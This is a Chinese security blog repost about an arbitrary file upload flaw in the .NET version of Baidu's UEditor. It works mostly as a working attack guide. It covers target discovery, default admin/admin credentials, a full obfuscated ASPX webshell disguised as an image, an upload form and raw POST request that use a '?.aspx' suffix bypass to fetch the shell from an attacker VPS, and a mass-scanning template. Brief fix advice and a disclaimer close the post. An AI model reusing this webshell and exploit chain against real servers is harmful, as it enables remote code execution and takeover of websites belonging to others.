Ueditor编辑器任意文件上传漏洞

admin
admin
admin
102755
文章
87
评论
2023年10月14日02:28:19评论232 views字数 5697阅读18分59秒阅读模式

    Ueditor是百度开发的一个网站编辑器，目前已经不对其进行后续开发和更新，该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响，.net存在任意文件上传，绕过文件格式的限制，在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断

影响范围

该漏洞影响UEditor的.Net版本，其它语言版本暂时未受影响

漏洞原理

漏洞的成因是在获取图片资源时仅检查了ContentType，导致可以绕过达到任意文件上传。


漏洞复现

步骤一：使用以下语法进行资产搜索并确定要攻击的目标...

# 搜索语法app="Baidu-UEditor"

步骤二：使用弱口令可直接进入后台，编辑文章发现使用的编辑器且拼接以下路径如返回以下信息则基本确定存在漏洞...

# 弱口令信息username:adminpassword:admin
# 拼接路径/UEditor/net/controller.ashx?action=catchimage    //访问控制器文件

Ueditor编辑器任意文件上传漏洞

Ueditor编辑器任意文件上传漏洞

步骤三：将以下ASPX的Webshell通过Winhex制作成图片马，并存放在VPS上访问其地址....

Hello Administrator!WelCome To Tas9er ASP.NET Console!<html></html>{;}<%@ImPoRt NaMeSpAce="System.Reflection"%><%Session[System.Text.Encoding.Default.GetString(Convert.FromBase64String("aw=="))]=System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(49) })+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(54) })+System.Text.Encoding.Default.GetString(Convert.FromBase64String("YWNhY2MwNWFhZmFmNg=="))+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(55) });%><%Session["gov"]="https://"+"shanghai.g"+"ov.cn";byte[] govZOP = Encoding.Default.GetBytes/*govWtxmLcuJYrxv*/(Session[Convert.ToInt32(System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(48) }))] + ""),govEdMOitZS = Request.BinaryRead/*govMz0weIj7S*/(Request.ContentLength);Assembly.Load(new System./*govRv8OITDLS*/Security/*govF7lZUVwJqIAX4*/.Cryptography/*govhhALchHtr*/./*govrhP7JsMzemvU30*/RijndaelManaged()/*govMBHPX3IkG*/.CreateDecryptor(govZOP, govZOP).TransformFinalBlock/*govcGlT0*/(govEdMOitZS, Convert.ToInt32(System.Text.Encoding.Default.GetString(Convert.FromBase64String("MA=="))), govEdMOitZS.Length))./*govFwclSCiayWd*/CreateInstance(System.Text.Encoding.Default./*govqryY9gkAt37pt*/GetString(Convert.FromBase64String("VQ==")))/*govDcI95u*/.Equals(this);%><%@ PagE LaNguAge="C#" %>


Ueditor编辑器任意文件上传漏洞

步骤四：制作一个HTML文件如下由于不是上传漏洞所以enctype 不需要指定为multipart/form-data，将制作好的的文件在浏览器中打开在输入框中输入要上传的VPS文件地址，这里注意上传文件格式添加?.aspx后缀绕过上传使其解析为 aspx文件，点击submit进行文件上传！

# 上传HTML文件内容<form action="http://ip/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">  <p>shell addr: <input type="text" name="source[]" /></p >  <input type="submit" value="Submit" /></form>
# 图片地址http://vpsip/ue1.jpg?.aspx   //备注：在VPS上的是以ue1.jsp存在，但在上传时时要带上?.aspx的后缀

Ueditor编辑器任意文件上传漏洞

Ueditor编辑器任意文件上传漏洞

步骤五：拼接好要上传的路径并使用哥斯拉进行连接...成功！

# webshell地址http://ip/ueditor/net/upload/image/20230920/6383080145411107007710081.aspx


Ueditor编辑器任意文件上传漏洞

POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencodedContent-Length: 65Origin: nullConnection: closeUpgrade-Insecure-Requests: 1
source[]=http://ip/8080/ue1.jpg?.aspx

批量脚本

id: ueditor-file-upload
info:  name: UEditor - Arbitrary File Upload  author: princechaddha  severity: high  description: UEditor contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.  reference:    - https://zhuanlan.zhihu.com/p/85265552    - https://www.freebuf.com/vuls/181814.html  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H    cvss-score: 8.8    cwe-id: CWE-434  tags: ueditor,fileupload  metadata:    max-request: 1
http:  - method: GET    path:      - "{{BaseURL}}/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/admin/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/editor/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/scripts/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/js/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/ueditor/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/plugins/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/ue/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/content/scripts/plugins/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/content/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/assets/js/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/core/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/editor/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/components/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/utility/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/plugin/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/script/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/areas/admin/content/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/hieditor/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/manage/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/utf8-net/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/content/js/plugins/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"      - "{{BaseURL}}/editor/net/controller.ashx?action=catchimage&encode=utf-8"    matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - "没有指定抓取源"        part: body

修复方案


1.修改工程目录下net/App_Code/CrawlerHandler.cs文件，添加对文件类型检查的代码。2.使用各类WAF软件，防止攻击者上传恶意文件。3.检查文件上传路径下是否有近期上传的畸形图片；检查是否存在asp，aspx等类型危险文件。如果发现异常文件，请判断后及时删除。


    揽月安全团队发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！！！！！



Ueditor编辑器任意文件上传漏洞

扫码获取更多精彩






原文始发于微信公众号（揽月安全团队）：Ueditor编辑器任意文件上传漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月14日02:28:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   Ueditor编辑器任意文件上传漏洞https://cn-sec.com/archives/2102258.html

发表评论

匿名网友 填写信息